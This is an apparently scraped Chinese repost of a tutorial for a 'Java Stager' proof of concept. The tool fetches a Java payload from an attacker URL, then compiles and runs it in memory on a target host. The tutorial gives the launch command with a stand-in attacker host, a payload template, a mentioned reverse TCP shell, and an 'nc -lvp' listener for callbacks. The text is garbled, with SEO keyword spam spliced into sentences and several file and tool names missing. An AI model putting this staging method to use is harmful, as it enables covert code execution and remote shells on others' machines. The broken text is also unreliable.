风也温柔

计算机科学知识库

java class文件编辑器 看我如何利用Java Stager在内存中下载、编译和执行Java文件

  3.编译源码(同样在内存中进行);

  4.执行编译代码(同样在内存中进行);

  不过他的研究主要基于的是.netjava class文件编辑器,不过我认为这种技术同样能够应用到Java中,所以我就设计了这样一个PoC来验证上述技术的可行性。

  如何使用?

  1.克隆整个项目代码;

  class文件反编译成java_java class文件编辑器_java 引用class文件

  2.在能够使用maven的IDE编辑器(例如)中打开项目目录;

  3.和样本可以在项目目录的”/src/main/java”中找到;

  4.选择你喜欢的,然后编译项目代码java class文件编辑器,我在默认配置中选择的是“clean/build”;

  java class文件编辑器_java 引用class文件_class文件反编译成java

  中的输出结果应该跟下面的代码类似:

  <pre style="margin: 1.2em 0em;font-size: 1em;font-family: Avenir, SimSun;line-height: 1.2em;">Buildingjar:C:\Users\cornerpirate\Documents\NetBeansProjects\java-stager\target\JavaStager-0.1-initial.jar</pre>

  在目标主机中,你需要上传“*.jar”文件以及包含了(从项目的“”目录中获取)的“lib”文件夹。下面的命令将会执行:

  <pre style="margin: 1.2em 0em;font-size: 1em;font-family: Avenir, SimSun;line-height: 1.2em;">java-jar JavaStager-0.1-initial.jar</pre>

  下面这条命令可以给你提供相关文件的使用信息:

  <pre style="margin: 1.2em 0em;font-size: 1em;font-family: Avenir, SimSun;line-height: 1.2em;">ProperUsage is: java -jar JavaStager-0.1-initial.jar </pre>

  java class文件编辑器_class文件反编译成java_java 引用class文件

  其中的“url”是命令唯一需要的参数,该参数将会传递给,下面给出的是一个使用样例:

  <pre style="margin: 1.2em 0em;font-size: 1em;font-family: Avenir, SimSun;line-height: 1.2em;">java-jar JavaStager-0.1-initial.jar http://attackerip/Payload.java</pre>

  你的必须存储在一个名叫“.java”的文件中,你的漏洞利用代码必须写在名叫“Run”的静态方法内。如果你想自己开发的话,可以参考下面这个模版代码:

  <pre style="margin: 1.2em 0em;font-size: 1em;font-family: Avenir, SimSun;line-height: 1.2em;">`publicclass Payload {
  public static void Run() {
     // Your code here
  }
}`</pre>

  我在“.java”文件中还提供了一个可供参考的反向TCP ,为了防止命名冲突,我就不将其取名为“.java”了,如果你想了解“.java”的详细工作机制并进行定制开发的话java class文件编辑器 看我如何利用Java Stager在内存中下载、编译和执行Java文件,可以参考该文件中的注释内容。

  除此之外,你可能还需要在自己的HTTP服务器上托管你的“.java”文件,如果你只想使用简单的HTTP/HTTPS服务(或)的话,我建议你用【参考资料】。

  除此之外。攻击端还需要启动一个监听器并使用标准nc -lvp 8044技术来捕捉链接回调。

  参考资料

  文章来源:http://mp.weixin.qq.com/s?src=11×tamp=1684919602&ver=4548&signature=MtlbsfqrvNiv-zai2aVzGQd3I3CI94l85KDElBNQGtuvl1kEXOJ5h9Srd3l7kk1O29cQe-3cmbmgoTYuyb99XPSqXJ7bv0Jt2GBkTiVyKrA1BAftuP7VARLSiLOEMFwh&new=1